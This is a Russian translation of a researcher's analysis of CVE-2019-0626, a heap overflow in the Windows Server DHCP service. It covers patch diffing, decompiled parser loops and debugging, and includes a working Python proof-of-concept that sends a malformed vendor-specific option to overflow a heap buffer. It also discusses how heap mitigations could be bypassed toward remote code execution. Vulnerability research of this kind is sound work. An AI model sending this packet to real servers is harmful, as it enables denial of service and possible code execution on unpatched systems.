05.03.2019

Анализ уязвимости DHCP сервера в Windows (CVE-2019-0626)

image

Поскольку проблема существует только в Windows Server, будет использоваться Server 2016

Автор: MalwareTech

В этой заметке мы детально рассмотрим уязвимость CVE-2019-0626. В том числе, я покажу, как была найдена эта брешь. Поскольку проблема существует только в Windows Server, будет использоваться Server 2016 (соответствующий патч - KB4487026).

Сравнение бинарных файлов

При помощи утилиты BinDiff я сравнил две версии библиотеки dhcpssvc.dll. Измененными оказались 4 функции (схожесть <1.0).

Рисунок 1: Результаты сравнения библиотеки dhcpssvc.dll до и после установки патча

Было решено начать изучение с функции UncodeOption. Имя метода намекало на декодер, часто являющийся рассадником ошибок.

После двойного клика на целевой функции появляются две схемы. Первоначальная функция находится слева, обновленная – справа. Каждая схема разделена на логические блоки ассемблерного кода (схоже с функцией «graph view» в IDA).

· Зеленые блоки свидетельствуют о полной схожести участков функций.

· Желтые блоки означают изменения некоторых инструкций.

· Серые блоки содержат добавленный код.

· Красные блоки содержат удаленный код.

Рисунок 2: Поблочное сравнение двух функций

Из рисунка выше мы видим изменения в достаточно большом количестве блоков. Наибольший интерес для нас представляют два цикла, содержащие новые участки кода. Дополнительные блоки могут быть условиями if с новыми проверками на безопасность. В общем, хорошая стартовая точка для начала исследований.

Мы могли бы и дальше продолжать анализ в BinDiff, однако интерфейс этого приложения мне кажется слишком громоздким. На мой взгляд, вся необходимая информация уже получена, и пришло время переключиться в IDA.

Анализ кода

В полной версии IDA доступен декомпилятор, и не нужно ковыряться в ассемблерном коде. Большинство дыр будут видны на высоком уровне, однако в очень редких случаях может понадобиться сравнение ассемблерного кода.

Рисунок 3: Пример декомпилированного кода

Из-за специфики декомпилятора в IDA в коде могут присутствовать дубликаты переменных. Например, переменная v8 является копией переменной a2, однако ни одно значение никогда не модифицируется. Код можно почистить, если кликнуть правой кнопкой мыши на переменной v8 и связать с переменной a2. В итоге все экземпляры a8 будут заменены на a2, и код будет восприниматься намного легче.

На рисунке ниже показано сравнение кода после очистки.

Рисунок 4: Сравнение функций после оптимизации кода

Второй цикл в левой части, выделенный в желтой рамке, стал «do while» вместо «for» и по структуре совпадает с первым циклом (изменение формата цикла свидетельствует о множестве желтых блоках в BinDiff). Обращаем особое внимание на новое условие (проверку), выделенное в красную рамку. Код в синей рамке упрощен, и часть перенесена внутрь цикла.

Следующий шаг – выяснение логики работы функции «UncodeOption». Кликаем правой кнопкой мыши на функции, выбираем «jump to xref…» и получаем список ссылок.

Рисунок 5: Список ссылок на функцию UncodeOption

Хм… Все вызовы UncodeOption находятся в функции ParseVendorSpecific или ParseVendorSpecificContent. Сей факт натолкнул меня на мысль погуглить по запросу «DHCP Vendor Specific».

Рисунок 6: Перечень дополнительных запросов по фразе «DHCP Vendor Specific»

После получения списка дополнительных запросов кое-что прояснилось. Оказывается, у протокола DHCP есть «опции, характерные для поставщика» (Vendor Specific Options). Если UncodeOption вызывается внутри ParseVendorSpecific, значит, имеет место быть декодирование специфических опций, связанных с поставщиком. Сразу же возникает вопрос, о каких опциях идет речь?

Специфические опции поставщика

Первым в списке результатов по запросу «DHCP Vendor Specific Options» оказалась статья [1] со всей нужной мне информацией. В том посте рассматривается формат пакета специфических опций поставщика.

Рисунок 7: Абзац из статьи об опции, связанной с информации о поставщике

Формат довольно просто: первый байт – код опции, следующий байт – длина. Далее идет значение опции. Теперь нам нужно отослать тестовый пакет.

Я нашел клиента для тестирования DHCP [2] и запустил простейшую команду:

dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”

Эта команда устанавливает значение «hello world» в специфическую опцию поставщика. Теперь мы можем проверить, запускается ли функция UncodeOption.

Динамический анализ

Вначале я поставил точку останова на функции UncodeOption и отправил DHCP-запрос в надежде на лучшее.

Рисунок 8: Участок памяти в IDA PRO

Прекрасно! Точка останова сработала, и легко понять логику передаваемых параметров.

· RCX (аргумент 1) указывает на начало специфической опции поставщика.

· RDX (аргумент 2) указывает на окончание специфической опции поставщика.

· R8 = 0x2B (код опции для специфических опций поставщика).

Возвращаемся к декомпилированному коду и добавляем более понятные имена. После изучения формата специфических опций поставщика стали понятны типы некоторых переменных.

Рисунок 9: Декомпилированный код с более понятными именами

Добавление более понятных имен и новые знания о специфических опциях поставщика заметно облегчает понимание кода. Разделим код на несколько частей.

У нас есть два цикла (первый начинается со строки 25, второй – со строки 44).

Первый цикл

1. Принимает код опции (первый байт буфера опции). Проверяется, соответствует ли код опции значению в регистре R8 (0x2B).

2. Принимает размер опции (второй байт буфера опции), затем добавляемый к переменной, названной мной required_size.

3. Увеличивает buffer_ptr_1 для указания на конец буфера опции.

4. Прерывается, если buffer_ptr_1 больше, чем конец буфера (buffer_end).

5. Заканчивается, если buffer_ptr_1 + option size + 2 больше, чем buffer_end.

По сути, цикл будет принимать длину значения опции (в нашем случае значение равно «hello world»). Если будет отправлено несколько опций одновременно, цикл вычислит общий размер всех значений. Переменная required_size используется для последующего выделения пространства кучи.

Второй цикл

1. Принимает код опции (первый байт буфера опции). Проверяется, соответствует ли код опции значению в регистре R8 (0x2B).

2. Принимает размер опции (второй байт буфера опции).

3. Помещает значение опции (в нашем случае – «hello world») в пространство кучи посредством копирования байтов из <option_size>.

4. Увеличивает buffer_ptr_2 для указания на конец буфера опции.

5. Заканчивается, если buffer_ptr_2 больше, чем buffer_end.

Предназначение кода

В функции реализован типичный парсер массива. Первый цикл вычисляет размер буфера, требуемого для парсинга. Второй цикл парсит массив в новый выделенный буфер.

Уязвимость

После сопоставления двух циклов я заметил следующее:

Рисунок 10: Сравнительный анализ двух циклов (первый цикл слева, второй – справа)

Оба цикла завершают свою работу, если указатель буфера достигает конца массива (см. условия, выделенные в зеленую рамку). В цикле 1 есть дополнительная проверка, выделенная в красной рамке. Цикл 1 также завершает свою работу, если следующий элемент массива некорректный (то есть при добавлении размера указатель выйдет за пределы массива). Различия в логиках означает следующее: цикл 1 будет проверять валидность следующего элемента в массиве перед обработкой, а цикл 2 будет копировать элемент и завершать работу, если buffer_ptr_2 больше, чем buffer_end.

Поскольку в цикле 1 происходит вычисления размера, буфер будет выделяться только для корректных элементов массива. Цикл 2 будет копировать все валидные элементы и один некорректный (перед выходом).

Что же произойдет, если мы отошлем следующий массив?

Рисунок 11: Вредоносный массив с опциями

Вначале цикл, вычисляющий размер, успешно распарсит размер первой опции (0x0B). Затем проверяется размер следующей опции. Поскольку после размера опции нет байтов 0xFF, параметр будет рассматриваться как некорректный, считаться недействительным и отбрасываться. В результате будет выделен размер 0x0B (11 байт).

В цикле 2 в первой итерации будет копироваться значение первой опции («hello world»). Во второй итерации размер опции не проверяется. Соответственно, в буфер будет добавлено 255 байт (0xFF). В итоге копируется 266 байт в кучу размером 11 байт с переполнением равным 255 байт.

Последний элемент будет считаться некорректным, если расстояние между длиной второй опции и концом буфера равно менее 255 байт (достигается посредством помещения вредоносного массива в конец DHCP-пакета).

Важное замечание: мы можем поместить любое количество менее 255 байт после длины последней опции. Мы можем переполнить кучу 254 байтами произвольных данных или менее 254 байтами содержимым, находящимся после пакета. По сути, возможно чтение и запись вне границ.

Реализация концепции

Для проверки уязвимости мне нужно было сформировать вредоносный DHCP-пакет. Вначале я отослал легитимный DHCP-пакет при помощи dhcp-test и сделал перехват в WireShark.

Рисунок 12: DHCP-пакет, отображаемый в WireShark

Кажется, буфер специфических опций поставщика уже находится в конце пакета. Я просто извлек шестнадцатеричное содержимое и написал простейший Python-скрипт.

Совет: вы можете щелкнуть правой кнопкой мыши на колонке «Bootstrap Protocol», выбрать «Copy» и затем «..As Escaped String».

from socket import *

import struct

import os

dhcp_request = (

"\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \

"\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff"

)

dhcp_request = dhcp_request[:-1] #remove end byte (0xFF)

dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code

dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size

dhcp_request += "A"*254 #254 bytes of As

dhcp_request += struct.pack('=B', 0xFF) #packet end byte

s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP

s.bind(('0.0.0.0', 0))

s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode

s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67

Затем я подцепил отладчик к процессу svchost, содержащим библиотеку dhcpssvc.dll, и установил несколько точек останова. Первая – на HeapAlloc, остальные – после цикла копирования. Теперь отсылаем вредоносный DHCP-пакет.

Рисунок 13: Точка останова на HeapAlloc

Во время срабатывания точки останова выделяемый размер равен 0x0B (достаточно только для размещения «hello world»). Посмотрим, что произойдет, если продолжить выполнение.

Рисунок 14: Содержимое кучи после продолжения выполнения

Вау! Парсер скопировал «hello world» и 254 байта символов «A» в кучу размером 11 байт. Определенно, мы имеем дело с переполнением, но краха не произойдет до тех пор, пока не перезапишется что-нибудь критическое.

Особенности эксплуатации уязвимости

Переполнение кучи часто используется для реализации удаленного выполнения кода (RCE). Однако вначале нужно преодолеть препятствия. В течение многих лет компания Microsoft внедряет разного рода защиты для предотвращения эксплуатации переполнения кучи. Я освещу самые важные методы защиты, а про остальное можете почитать в статьях на TechNet [3][4].

Windows Vista и последующие версии

В большинстве сценариев, основанных на переполнении кучи, используется подделка метаданных кучи для получения примитивов (возможностей) произвольной записи или выполнения. К сожалению, в Windows Vista добавлено кодирование и верификация метаданных кучи. Поля метаданных стали обрабатываться XOR с ключом, осложнив модификацию.

Без подделки метаданных кучи атакующий должен фокусироваться на перезаписи данных самой кучи. Все еще возможна перезапись объектов, хранящихся в куче, как, например, экземпляры классов. В объектах могут быть те же самые примитивы, как и в случае с подделкой метаданных.

Windows 8 и последующие версии

Выделения размером менее 16,368 попадают в кучу с низкой фрагментацией (Low Fragmentation Heap; LFH). В Windows 8 добавлена рандомизация размещения в LFH, и предсказуемость размещения стала намного менее предсказуемой. Если мы не можем контролировать местонахождение размещаемого объекта, перезапись превращается в рулетку. Однако надежды все еще остаются.

Если злоумышленник управляет размещением объекта, можно разместить сотни копий и повысить вероятность успешной перезаписи. Естественно, вначале нужно найти подходящий объект, доступный для эксплуатации.

Заключение

Я не смог уделить много времени на исследование этой уязвимости и еще планирую реализовать удаленное выполнение в более новых системах. На данный момент я обнаружил пару TCP-интерфейсов, пригодных для улучшения контроля кучи. Если не найдется что-то более интересное, вернусь к этой теме в будущем.

Ссылки

  1. Microsoft Vendor specific DHCP options explained and demystified https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/
  2. A custom tool for sending DHCP requests https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/
  3. TechNet blog post about early heap mitigations https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities/
  4. TechNet blog post about Windows 8+ heap mitigations – https://blogs.technet.microsoft.com/srd/2013/10/29/software-defense-mitigating-heap-corruption-vulnerabilities/